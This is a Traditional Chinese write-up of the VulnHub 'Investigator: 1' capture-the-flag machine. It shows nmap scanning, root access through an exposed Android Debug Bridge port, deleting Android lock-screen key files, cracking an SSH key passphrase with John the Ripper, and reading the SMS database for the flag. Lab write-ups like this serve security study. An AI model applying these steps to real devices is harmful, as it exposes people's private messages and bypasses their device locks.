6 min read

VulnHub - Investigator: 1 writeup (zh-TW)

VulnHub - Investigator: 1 writeup (zh-TW)

題目資訊

  • 平台: VulnHub
  • 名稱: Investigator: 1
  • 作者: Sivanesh Kumar
  • 難度: Its for only beginners (作者自己寫的)
  • 下載: VulnHub Link
  • 目標: 調查 Agent S 失蹤案件,找到最終 flag
  • 備註: 這個writeup測試很多方法,不一定每一步都跟最後的flag或目的有關,建議可以搭配最底下的經驗分享,會更有概念

解題過程

Step 1: 網路掃描與服務發現

首先掃描網段找到目標:

nmap -sn 192.168.56.0/24

目標 IP: 192.168.56.123

詳細端口掃描:

nmap -sV -A 192.168.56.123

PORT      STATE SERVICE VERSION
5555/tcp  open  adb     Android Debug Bridge device (name: android_x86; model: VirtualBox; device: x86)
8080/tcp  open  http    PHP cli server 5.5 or later
22000/tcp open  ssh     Dropbear sshd 2014.66 (protocol 2.0)

關鍵發現

  • Port 5555: ADB (Android Debug Bridge) - Android 調試接口
  • Port 8080: PHP Web 服務器
  • Port 22000: SSH (Dropbear - 輕量級 SSH 服務)

Step 2: Web 偵察

訪問 http://192.168.56.123:8080

Agent 's' have been investigate the case but he fail to completed it !!
We Don't Know what happens to Agent "S"
Sector need your help to investigate this case
Last information from Agent "S" is only 6666666666 no other information,find and solver it

線索: 6666666666 - 記住這個數字!

Step 3: Android Debug Bridge (ADB) 探索

什麼是 ADB?

ADB 是 Android 的調試工具,允許與 Android 設備通信,

安裝 ADB:

# Kali/Ubuntu
sudo apt update
sudo apt install adb -y

# 驗證安裝
adb version

連接到 Android 設備:

adb connect 192.168.56.123:5555
# 輸出: connected to 192.168.56.123:5555

# 確認連接
adb devices
# List of devices attached
# 192.168.56.123:5555    device

Step 4: 獲得 Shell 並提權

進入 Android shell:

adb shell
# uid=2000(shell) gid=2000(shell)...@x86:/ $

驚人發現 - 可以直接提權到 root!

su
# uid=0(root) gid=0(root)@x86:/ #

⚠️ 安全說明: 正常的 Android 設備不會允許這樣直接 su

Step 5: 第一個 Flag 與新線索

cd /data/root
cat flag.txt

# 輸出:
# Great Move !!!
# Itz a easy one right ???
# lets make this one lil hard
# You flag is not here !!!
# Agent "S"   Your Secret Key ---------------->259148637

新線索: Secret Key 259148637

Step 5.5: 移除 Android 鎖屏保護

既然有 root 權限,我們可以直接繞過 Android 鎖屏。

檢查鎖屏檔案:

ls -la /data/system/*.key

# 輸出:
-rw------- system   system         20 2020-07-02 18:44 gesture.key
-rw------- system   system         72 2020-07-02 18:44 password.key

Android 鎖屏檔案說明

  • gesture.key: 圖形鎖的 SHA-1 hash (20 bytes)
  • password.key: 密碼的 SHA-1 + MD5 組合 (72 bytes)

移除鎖屏(最簡單方法):

# 備份原始檔案(良好習慣)
mv /data/system/password.key /data/system/password.key.bak
mv /data/system/gesture.key /data/system/gesture.key.bak

# 或直接刪除
rm /data/system/gesture.key
rm /data/system/password.key

重啟後reboot設備將沒有鎖屏保護

Step 6: 探索 Android 檔案系統

列出 SD 卡內容:

ls -la /sdcard/Download/

# 發現:
-rw-rw---- root sdcard_r     7171 2020-07-02 18:04 qr.png
# 還有多個 APK 檔案

拉取並解碼 QR code:

# 在 Kali 上
adb pull /sdcard/Download/qr.png ./
zbarimg qr.png

# 輸出:
# QR-Code:Have you scanned !!!
# Good !!! Try hard to get the flag

Step 7: 搜尋 "6666666666" 線索

grep -r "6666666666" / 2>/dev/null

# 關鍵發現:
# Binary file /sdcard/Android/data/com.esminis.server.php/cache/database.sqlite matches

Step 8: SQLite 資料庫分析

# 拉取資料庫
adb pull /sdcard/Android/data/com.esminis.server.php/cache/database.sqlite ./

# 分析
sqlite3 database.sqlite
.tables
# __log__           android_metadata

SELECT * FROM __log__;
# 發現記錄: ::ffff:192.168.56.1:6672 [200]: /6666666666

這表示有人成功訪問過 /6666666666 路徑!

Step 9: 發現 SSH Key

探索 PHP 網站目錄:

ls -la /sdcard/www/public/
# 發現 secret22000 目錄(對應 SSH 端口 22000!)

ls -la /sdcard/www/public/secret22000/
# 發現 touhid.key

Step 10: 破解 SSH Key 密碼

拉取並分析 SSH key:

adb pull /sdcard/www/public/secret22000/touhid.key ./
cat touhid.key
# -----BEGIN RSA PRIVATE KEY-----
# Proc-Type: 4,ENCRYPTED
# DEK-Info: AES-128-CBC...

Key 是加密的!使用 John the Ripper 破解:

# 下載 ssh2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py

# 提取 hash
python ssh2john.py touhid.key > touhid.hash

# 破解
john --wordlist=/usr/share/wordlists/rockyou.txt touhid.hash
# 密碼: qwerty

Step 11: 最終 Flag

第二次拿到ssh root之後,在sms,終於找到一開始給的6666666666線索

# 在 adb shell (root) 中
sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db

SELECT * FROM sms;

最終 Flag 在 (666) 666-6666 的簡訊中

  • Telegram 群組: https://t.me/joinchat/MnPu-hwn_MMS5sX0jngsoQ
  • Twitter: @sivanes90967948

技術要點總結

  • ADB: Android 調試橋接器
    • adb connect: 連接設備
    • adb shell: 獲得 shell
    • adb pull: 傳輸檔案
  • SQLite: 查詢 Android 資料庫
    • SMS 存在 /data/data/com.android.providers.telephony/databases/
  • John the Ripper: 密碼破解
    • ssh2john: 提取 SSH key hash
    • 使用字典攻擊破解弱密碼

經驗分享

這一題其實有兩個拿到root的方法,一個是透過adb本身的設置錯誤,可以直接su變成root,一個是破解ssh的密碼,連進ssh之後,直接su,變成root使用者,

最短路徑拿到root、最終flag (5分鐘):
ADB 連接 → su 到 root → 查 SMS 資料庫 → 獲得 flag

我們的路徑:
ADB 連接 → su 到 root → 探索檔案系統 → 找 QR code → 
分析 SQLite → 發現 SSH key → 破解密碼 → 查 SMS → 獲得 flag

關於Step 6:

因為已經把鎖屏給拿掉,所以也可以在手機上操作(virtual box),可以在首頁的X-plore探索

關於Step 9:

同樣道理,可以發現這個touchid檔案,作為登入ssh的密碼檔案

關於Step 11:

最一開始的6666666666提示,就是手機的號碼

關於Step 5: (最終發現,寫完writeup發現)

原來那串數字259148637,是手機messaging的鎖屏密碼

大功告成!